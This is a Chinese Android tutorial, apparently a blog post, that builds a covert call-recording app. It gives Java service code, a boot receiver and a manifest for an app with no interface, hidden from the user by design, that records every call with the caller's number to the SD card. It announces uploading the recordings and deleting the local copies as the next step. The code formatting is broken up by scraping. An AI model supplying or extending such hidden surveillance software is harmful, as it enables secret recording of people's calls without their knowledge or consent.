这是一个Android练手小项目,通过一个BroadcastReceiver广播接收者监听手机启动状态,实现开机启动。因为是电话监听器,所以我们不能让用户察觉,所以不能有软件界面,这是要点,不然也不叫监听器了,主要实现的功能有对所有语音通话进行录制并上传到网上,好了,不废话了,下面一步一步地写……

首先,我们先来了解一下Service服务



Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,如下:



第一步:继承Service类


public 
       
     class 
      PhoneListenerService  
     extends 
      Service {...}



第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:



<service android:name="PhoneListenerService"></service>



这里推荐使用eclipse图形化的界面添加




android监听话筒音量 安卓监听声音软件_移动开发


如上图所示,可以添加Service、Permission、BroadcastReceiver等,感兴趣可以自己试一下。


服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。


Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。



Context.bindService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onBind()方法。这个时候调用者和服务绑定在一起,调用者退出了,系统就会先调用服务的onUnbind()方法,接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定,多次调用bindService()方法并不会导致多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)。如果调用者希望与正在绑定的服务解除绑定,可以调用unbindService()方法,调用该方法也会导致系统调用服务的onUnbind()-->onDestroy()方法。


服务常用生命周期回调方法如下:




onCreate() //该方法在服务被创建时调用,该方法只会被调用一次,无论调用多少次startService() 或bindService()方法,服务也只被创建一次。
onDestroy()//该方法在服务被终止时调用。


与采用Context.startService()方法启动服务有关的生命周期方法


onStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。多次调用startService()方法尽管不会多次创建服务,但onStart() 方法会被多次调用。



 与采用Context.bindService()方法启动服务有关的生命周期方法


onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用,当调用者与服务已经绑定,多次调用Context.bindService()方法并不会导致该方法被多次调用。


onUnbind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。


OK,了解了服务,现在开始来开发这个小应用了……


首先在eclipse中新建一个项目,我的命名为:phonelistener,直接截图


android监听话筒音量 安卓监听声音软件_开发工具_02


因为我们在创建项目的时候必须要填上一个Activity,我就先随便填一个Activity界面,因为这个电话监听器不能让用户察觉,所以不能有界面的,待会儿在功能清单文件中删除。


接下来,我们添加一个服务类:PhoneListenerService,当调用这个服务类的方法的时候,我们实现监听的所有内容


package        com.studio.listener;

       import        java.text.SimpleDateFormat;
       import        java.util.Date;

       import        android.app.Service;
       import        android.content.Context;
       import        android.content.Intent;
       import        android.media.MediaRecorder;
       import        android.os.Environment;
       import        android.os.IBinder;
       import        android.telephony.PhoneStateListener;
       import        android.telephony.TelephonyManager;
       import        android.util.Log;

       public         
      class 
       PhoneListenerService  
      extends 
       Service {

       private        String TAG  
      = 
        
      " 
      PhoneListenerService 
      " 
      ; 
      // 
      这里设置一个Log标志,方便于调试 
      
       
 @Override
       public        IBinder onBind(Intent intent) {
       //        TODO Auto-generated method stub 
      
               return 
        
      null 
      ;
 }
       /**       
 * 此处复写onCreate()方法,当这个服务被创建的时候就实现监听
       */       
 @Override
       public         
      void 
       onCreate() {
       //        TODO Auto-generated method stub 
      
               super 
      .onCreate();
       /*        取得电话服务  
      */ 
      
 TelephonyManager telManager        =        (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
 PhoneStateListener listener        =         
      new 
       PhoneStateListener() {
       private        String number; 
      // 
      定义一个监听电话号码 
      
               private 
        
      boolean 
       isRecord; 
      // 
      定义一个当前是否正在复制的标志 
      
               private 
       MediaRecorder recorder; 
      // 
      媒体复制类 
      
       
 @Override
       public         
      void 
       onCallStateChanged( 
      int 
       state, String incomingNumber) {
       switch        (state) {
       case        TelephonyManager.CALL_STATE_IDLE: 
      /* 
       无任何状态  
      */ 
      
 number        =         
      null 
      ;
       if        (recorder  
      != 
        
      null 
        
      && 
       isRecord) {
 Log.i(TAG,        "       录音完成 
      " 
      ); 
      // 
      设定一个录音完成的标志,方便调试 
      
        recorder.stop();       // 
      录音完成 
      
        recorder.reset(); 
 recorder.release();
 isRecord        =         
      false 
      ; 
      // 
      录音完成,改变状态标志 
      
        }
       break       ;
       case        TelephonyManager.CALL_STATE_OFFHOOK: 
      /* 
       接起电话  
      */ 
      
       //        录制声音,这是录音的核心代码 
      
               try 
       {
 Log.i(TAG,        "       开始录音 
      " 
      );
 recorder        =         
      new 
       MediaRecorder();
 recorder.setAudioSource(MediaRecorder.AudioSource.MIC);       //        定义声音来自于麦克风 
      
        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);       // 
      我们定义存储格式为3gp 
      
        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);       // 
      定我编码 
      
        SimpleDateFormat format        = 
        
      new 
       SimpleDateFormat( 
      " 
      yyMMddHHmmss 
      " 
      ); 
      // 
      此处定义一个format类,方便对录音文件进行命名 
      
        String fileName        = 
        
      this 
      .number  
      + 
        
      " 
      _ 
      " 
        
      + 
       format.format( 
      new 
       Date());
       /*        定义录音文件的输出路径,这里我们先保存到sdcard  
      */ 
      
 recorder.setOutputFile(Environment.getExternalStorageDirectory().getAbsolutePath()       +         
      " 
      / 
      " 
        
      + 
       fileName  
      + 
        
      " 
      .3gp 
      " 
      );
 recorder.prepare();
 recorder.start();        //        开始刻录 
      
        isRecord        = 
        
      true 
      ;

 }        catch        (Exception e) {
 Log.e(TAG, e.toString());
 }

       break       ;
       case        TelephonyManager.CALL_STATE_RINGING: 
      /* 
       电话进来  
      */ 
      
       this       .number  
      = 
       incomingNumber;
       break       ;

       default       :
       break       ;
 }
 }

 };
       //        监听电话的状态 
      
        telManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
 Log.i(TAG,        "       服务已经启动 
      " 
      );
 }

}    

     服务类写好了,记得要在功能清单文件中注册它,千万不要忘了…… 
   
          
<       service android:name       = 
      " 
      PhoneListenerService 
      " 
      ></ 
      service 
      >
    

     服务写好了,然后再来写一个广播接收器,以便于接收手机开机时的状态,监听到手机启动了的时候就启动我们的服务…… 
   
          
package        com.studio.listener;


       import        android.content.BroadcastReceiver;
       import        android.content.Context;
       import        android.content.Intent;

       public         
      class 
       BootBroadcastReceiver  
      extends 
       BroadcastReceiver {

 @Override
       public         
      void 
       onReceive(Context context, Intent intent) {
       //        TODO Auto-generated method stub 
      
       
 Intent service        =         
      new 
       Intent(context, PhoneListenerService. 
      class 
      ); 
      // 
      定义一个意图 
      
        context.startService(service);       // 
      开启服务 
      
        }

}    

     这里面很简单,当我们的广播接收者接收到某个状态时就启动我们刚才定义的Service 
   
    

     下面在功能清单中配置 
   
          
<?       xml version       = 
      " 
      1.0 
      " 
       encoding 
      = 
      " 
      utf-8 
      " 
      ?> 
      
       <       manifest xmlns:android 
      = 
      " 
      http://schemas.android.com/apk/res/android 
      " 
      
       package       = 
      " 
      com.studio.listener 
      " 
      
 android:versionCode       =       " 
      1 
      " 
      
 android:versionName       =       " 
      1.0 
      " 
      > 
      
       <       uses 
      - 
      sdk android:minSdkVersion 
      = 
      " 
      10 
      " 
        
      /> 
      
       <!--        对外部存储设备的写入权限  
      --> 
      
       <       uses 
      - 
      permission android:name 
      = 
      " 
      android.permission.WRITE_EXTERNAL_STORAGE 
      " 
      ></ 
      uses 
      - 
      permission 
      > 
      
       <!--        对外部文件的写入和删除权限  
      --> 
      
       <       uses 
      - 
      permission android:name 
      = 
      " 
      android.permission.MOUNT_UNMOUNT_FILESYSTEMS 
      " 
      ></ 
      uses 
      - 
      permission 
      > 
      
       <!--        音频刻录权限  
      --> 
      
       <       uses 
      - 
      permission android:name 
      = 
      " 
      android.permission.RECORD_AUDIO 
      " 
      ></ 
      uses 
      - 
      permission 
      > 
      
       <!--        接收手机完全开启状态权限  
      --> 
      
       <       uses 
      - 
      permission android:name 
      = 
      " 
      android.permission.RECEIVE_BOOT_COMPLETED 
      " 
      ></ 
      uses 
      - 
      permission 
      > 
      
       <!--        读取电话状态权限  
      --> 
      
       <       uses 
      - 
      permission android:name 
      = 
      " 
      android.permission.READ_PHONE_STATE 
      " 
      ></ 
      uses 
      - 
      permission 
      > 
      

       <       application android:icon 
      = 
      " 
      @drawable/icon 
      " 
       android:label 
      = 
      " 
      @string/app_name 
      " 
      > 
      
       <       service android:name 
      = 
      " 
      PhoneListenerService 
      " 
      ></ 
      service 
      > 
      
       <       receiver android:name 
      = 
      " 
      BootBroadcastReceiver 
      " 
      > 
      
       <       intent 
      - 
      filter 
      > 
      
       <       action android:name 
      = 
      " 
      android.intent.action.BOOT_COMPLETED 
      " 
      ></ 
      action 
      > 
      
       </       intent 
      - 
      filter 
      > 
      
       </       receiver 
      > 
      

       </       application 
      > 
      
       </       manifest 
      >


此功能清单中我已经把<Activity.../>的内容去掉了,因为我们不需要界面。反此应用安装到模拟器,然后关掉模拟器重新启动,可以用DDMS里面的有一个功能向我们的模拟器打电话的


android监听话筒音量 安卓监听声音软件_移动开发_03


因为我这里现在没有启动模拟器,所以是灰色的。在Incoming number后面输入5554,然后点击下面的call就可以呼叫了,当然也可以另外再开一个模拟器对5554进行呼叫,这样比较麻烦。


android监听话筒音量 安卓监听声音软件_java_04


如果此处出现我们当在服务里面添加的TAG的话就表示成功了,然后查看sdcard是否有我们想要的录音文件,有就Ok了……


接下来我们要实现把这样一个音频文件上传到网络上的指定位置,然后删除sdcard上的音频文件,比较接近“监听”了……